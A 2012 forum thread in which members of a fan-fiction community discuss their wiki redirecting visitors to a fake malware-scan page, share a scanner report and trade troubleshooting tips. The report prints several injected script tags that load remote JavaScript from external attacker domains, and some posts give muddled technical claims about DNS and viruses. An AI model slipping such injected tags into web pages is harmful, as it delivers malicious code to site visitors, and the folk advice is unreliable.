The issue with the wiki

Evil admin Posts : 3812 Join date : 2007-12-08

Apparently it has been resolved Smile

Those last days there was a redirection to a page that claimed to detect a malware on your computer and propose to scan it. And of course the malware was that page itself. Never accept in such case, basically 99% of pages popping up and pretending to do you a service are the exact opposite of what they look...
Hopefully it is fixed now but please tell me if any of you got this again.

And on other news, I have only a few days to go before seeing the end to that very busy period professionally, meaning from then on I will have a lot more free times to updates things, do more drawings and to put in Felarya in general ^_^

Grand Mecha Enthusiast Posts : 3229 Join date : 2007-12-09

Good to hear. Thanks for resolving the issue Karbo.

Subject: Re: The issue with the wiki Mon Apr 02, 2012 3:51 pm

Y'know, sometime last year or the year before, I fell for one of those. ^^; I saw it and it made me freak out and panic and I downloaded the thingy it told me to without thinking. We got the issue resolved eventually but my mom was very upset, as was I. Heh, I'm glad to say I'm a bit smarter for it, though.

Subject: Re: The issue with the wiki Tue Apr 03, 2012 1:47 am

Actually, the problem is still there. I've just gone onto the wiki, and it kept redirecting me to other sites - which fortunately all came up as blank pages.

Subject: Re: The issue with the wiki Tue Apr 03, 2012 3:03 am

I'm not sure if my input will help; but I haven't experienced this problem (yet).

Subject: Re: The issue with the wiki Tue Apr 03, 2012 4:45 am

Everything seemed to be working well enough for me, and still does.

Crazy thought, just putting it out there: Maybe the people getting those bad pages already have a virus, and it just happens to show up on sites with many different links, like a Wikipedia page? Like I said though, crazy thought.

Subject: Re: The issue with the wiki Tue Apr 03, 2012 4:56 am

Boris92 wrote:: Crazy thought, just putting it out there: Maybe the people getting those bad pages already have a virus, and it just happens to show up on sites with many different links, like a Wikipedia page? Like I said though, crazy thought.

Given that I have a Mac, and that it only happens when I go onto the Felarya website... Unlikely. (I go onto Wikipedia quite frequently, as I'm an occasional editor there, and I've never had that problem.)

Great warrior Posts : 501 Join date : 2010-03-07

I haven't had the issue occur with me yet using the latest versions of FF and Chrome (my two main browsers). Just to be thorough though:

Code:: web site: http://www.felarya.com/wiki/
status: Site with warnings
web trust: Not Blacklisted
*This site was just scanned a few minutes ago.

Malware found on javascript file:
http://www.felarya.com/wiki/load.php?debug=false&amp;lang=en&amp;modules=startup&amp;only=scripts&amp;skin=monobook&amp;*

>Suspicious domain detected.
Details: http://sucuri.net/malware/malware-entry-mwblacklisted35
/* No modules requested. Max made me put this here */<script src="http://nality58suppli.rr.nu/mm.php?d=x1"></script>

Security warning in the URL:
http://www.felarya.com/wiki/index.php?title=Main_Page

>Suspicious domain detected.
Details: http://sucuri.net/malware/malware-entry-mwblacklisted35
</script><script src="http://ays86heye.rr.nu/mm.php?d=x1"></script>

Security warning in the URL:
http://www.felarya.com/wiki/index.php?title=Main_Page/404testpage4525d2fdc

>Suspicious domain detected.
Details: http://sucuri.net/malware/malware-entry-mwblacklisted35
</script><script src="http://dspass55engerar.rr.nu/mm.php?d=x1"></script>

Security warning in the URL:
http://www.felarya.com/wiki/index.php?title=Main_Page/404javascript.js

>Suspicious domain detected.
Details: http://sucuri.net/malware/malware-entry-mwblacklisted35
</script><script src="http://onfu38rther.rr.nu/mm.php?d=x1"></script>

Security warning in the URL:
http://www.felarya.com/wiki/index.php?title=FAQ

>Suspicious domain detected.
Details: http://sucuri.net/malware/malware-entry-mwblacklisted35
</script><script src="http://ays86heye.rr.nu/mm.php?d=x1"></script>

Security warning in the URL:
http://www.felarya.com/wiki/index.php?title=Swallowed_whole_and_alive

>Suspicious domain detected.
Details: http://sucuri.net/malware/malware-entry-mwblacklisted35
</script><script src="http://ays86heye.rr.nu/mm.php?d=x1"></script>

Security warning in the URL:
http://www.felarya.com/wiki/index.php?title=Fauna

>Suspicious domain detected.
Details: http://sucuri.net/malware/malware-entry-mwblacklisted35
</script><script src="http://recrac40kdownsp.rr.nu/mm.php?d=x1"></script>

Security warning in the URL:
http://www.felarya.com/wiki/index.php?title=Plant_life

>Suspicious domain detected.
Details: http://sucuri.net/malware/malware-entry-mwblacklisted35
</script><script src="http://nsme39dica.rr.nu/mm.php?d=x1"></script>

Security warning in the URL:
http://www.felarya.com/wiki/index.php?title=Category:Characters

>Suspicious domain detected.
Details: http://sucuri.net/malware/malware-entry-mwblacklisted35
</script><script src="http://urnsa04ndini.rr.nu/mm.php?d=x1"></script>

Blacklist status
Domain clean by Google Safe Browsing: felarya.com - reference
Domain clean by Norton Safe Web: felarya.com - reference
Domain clean on Phish tank: felarya.com - reference
Domain clean on the Opera browser: felarya.com - reference
Domain clean on Sucuri IP/URL malware blacklist: felarya.com - reference

Scanned as of 1615 03 APR 2012 EDT. Something weird is going on; not sure what exactly. Could be an injection attack or the like.

Also, preview note: Colors are horrible. Used code tags to keep from boards stripping them out. Recommend copy and paste action for sanity while viewing what is contained within code block.

Great warrior Posts : 501 Join date : 2010-03-07

Scanned again with same results at 0541 on 05 APR 2012 EDT.

I have now encountered the redirect error using FF12 (with NoScript and Adblock) on two occasions.

Evil admin Posts : 3812 Join date : 2007-12-08

ah thank you for your imput...
that's really an annoying persistant thing >_>

Subject: Re: The issue with the wiki Thu Apr 05, 2012 2:32 pm

Redirect is actually a virus. I had to deal with it myself. I cannot tell you how or why it hasn't resurfaced, or come back, or how (if it was) gotten rid of. I hate it so much.

http://www.redirectvirusbegone.com/

There's thousands of results, just google "redirect virus" and you'll easily find answers. This means that if people are still getting it after you supposedly "fix the problem" its likely the virus as well.

Subject: Re: The issue with the wiki Fri Apr 06, 2012 3:00 pm

Archmage_Bael wrote:: Redirect is actually a virus. I had to deal with it myself. I cannot tell you how or why it hasn't resurfaced, or come back, or how (if it was) gotten rid of. I hate it so much.

http://www.redirectvirusbegone.com/

There's thousands of results, just google "redirect virus" and you'll easily find answers. This means that if people are still getting it after you supposedly "fix the problem" its likely the virus as well.

I've been onto the MacRumours website, which says this:

Quote :: WHY AM I BEING REDIRECTED TO OTHER SITES?
Some users experience a problem with being directed automatically to sites that they didn't intend to visit. This may also occur when searching with Google. You don't have a virus! It's a problem with your DNS settings, either in your Mac or in your router. Try resetting your router. Here's how to fix the problem in Mac OS X:
Quote:
Go to System Preferences > Network
There you will see a padlock icon in the lower left corner and the note "Click the lock to make changes".
Click the lock and enter your administrator password, so you can change DNS servers
with your network selected on the left column, click the "Advanced" button
Click the DNS tab to see the listing of your DNS Servers
If any of the DNS servers are greyed out after entering your admin password, refer to this: 10.5: Disable DHCP-specified DNS servers
Click the "-" icon to remove all existing DNS servers
Click the "+" icon to add the following servers.
You may choose either OpenDNS or Google servers (not both sets):

OpenDNS:
Primary DNS Server: 208.67.222.222
Secondary DNS Server: 208.67.220.220

Google:
Primary DNS Server: 8.8.8.8
Secondary DNS Server: 8.8.4.4
When you've completed your changes, click "OK" to close the Advanced settings window
Click "Apply" on the Network window to save your changes

The problem is, my DNS server is indeed greyed out, and the instructions to get around that are far too complex for my technologically primitive brain - particularly as I don't want to mess around with things I don't understand.

But if this can be useful to anyone else, good luck.

Subject: Re: The issue with the wiki Fri Apr 06, 2012 6:46 pm

Ah, that explains why I don't have the problem; I am already using the Google DNS.

Subject: Re: The issue with the wiki Sat Apr 07, 2012 3:12 pm

Well I don't have the problem either, so there Razz

Great warrior Posts : 501 Join date : 2010-03-07

The redirect thing might be true if you were using Google to access the wiki, but I do not. I also have my own DNS setup already, and I have experienced the redirect. Not often, like up to three times now. I don't necessarily think that it is a virus though, it is more than likely something to do with the Javascripts that have odd uri's and malware that Sucuri has detected.

What you are describing by the way French is not a DNS setup, but instead a hosts file redirect. You are directly telling your computer to use someone else's DNS vice your own router DNS. To most, this is accomplished simply with telling the NIC 'hey, look over here only' by inputting the information manually via the controller interface - but you can also directly specify line-by-line site addresses and IPs using the hosts file. All OS' have a hosts file that you can specifically write in addresses for - I use one on my computer to access hidden resources not available on my DNS yet (mainly because I have setup a new intranet domain and have not yet migrated over to it yet) and in order to block ads from things like Livestream. The router DNS should be fine for most however - if you are experiencing issues with websites it is most likely due to caching that is now out of date. In Windows, one would open a terminal and type "ipconfig /flushdns". I am not certain what the MAC command is.

Edit: Well, actually, there is one thing I did just think about - depending on where you are in the world and who's providing your ISP service, it might be a good idea to use a different DNS than what your router is using since your ISP might be all fuckballs with regards to how they manage. I've seen people have issues with that before, where they were unable to access certain sites because of ISP DNS issues. In addition to OpenDns and Google there are many other services that would provide the same thing - I know back when I was using DynDNS to host (was still on dynamic IP) that they had a service you could run as well to use their DNS servers vice your own / your ISPs.

It should also be noted that the scanner is still reporting the exact same results.

Great warrior Posts : 501 Join date : 2010-03-07

Just for the information of those still interested, scanners are no longer picked up any threats with the Felarya domain.

Subject: Re: The issue with the wiki Wed Apr 25, 2012 2:34 pm

Thanks, aethernavale. Indeed, I no longer get redirected when I go onto the wiki.

Subject: Re: The issue with the wiki Wed Apr 25, 2012 3:50 pm

It sounds like it was a DNS virus. Those primarily affects servers and web sites. These viruses also effects all OS's equally.

I remember reading something recently about one particularly nasty one out of Lithuania that might have infected Karbo's Mac. FBI had its hands full with it I guess.

Edit: some reading: An article on the DNS virus

Subject: Re: The issue with the wiki Thu Apr 26, 2012 6:50 am

I'll check it out at home, although it's true that Avast kept shutting down the loading of the wiki because it detected some malware for days - didn't say anything before because you guys already had your hands on this. Hope it's really over by now.

Evil admin Posts : 3812 Join date : 2007-12-08

DNS virus... mhh that sounds nasty...
Well thank you for the info ^^

Subject: Re: The issue with the wiki Fri Apr 27, 2012 3:16 am

I don't want to bother you, but I think it is very important for those who haven't heard of disguised buttons. I've run into this problem before. And unfortunately, I ran into a version of the virus that has a trick pop-up message box when you try to leave the page, and I, being a dumbass, fell for it. I now know what this virus does and as a result, recovering what was left of my computer took time and money, and it is now slow as hell and has no Internet. So I should warn you, if you do come across the virus page, use task manager to shut the page down if you don't already do, otherwise you'll be told EVERYTHING on your computer is a virus and cannot be used, whilst the real virus breaks everything vital like your RAM chip and Antivirus.

Subject: Re: The issue with the wiki Fri Apr 27, 2012 3:23 am

For some reason, probably maintenance reasons, I could not access the wiki at all Thursday. And now Friday morning US East I cannot view the pictures on the front page. All I get is a link on to their location. Someone might want to take a look into that. As the problem persist even after I refresh the page.

Subject: Re: The issue with the wiki Fri Apr 27, 2012 5:26 am

Thank you for the warning, Iamawesome789.

Walkingbyself, the images load without problem on my screen... Are you only getting that problem on the Felrya wiki, or (for instance) on Wikipedia as well?

Subject: Re: The issue with the wiki Fri Apr 27, 2012 6:03 am

French snack wrote:: Thank you for the warning, Iamawesome789.

Walkingbyself, the images load without problem on my screen... Are you only getting that problem on the Felrya wiki, or (for instance) on Wikipedia as well?

Only for the Felarya wiki I've never had the issue before the wiki was down yesterday. So it might just be something on my end. I'll try again later after classes are done for today.

Subject: Re: The issue with the wiki Fri Apr 27, 2012 4:33 pm

Okay I guess it was just something on my end then. Sorry for false alarm.

» The Gender Issue
» On the issue of feedback
» The thing with the Immortality issue.
» Wiki or not?
» The wiki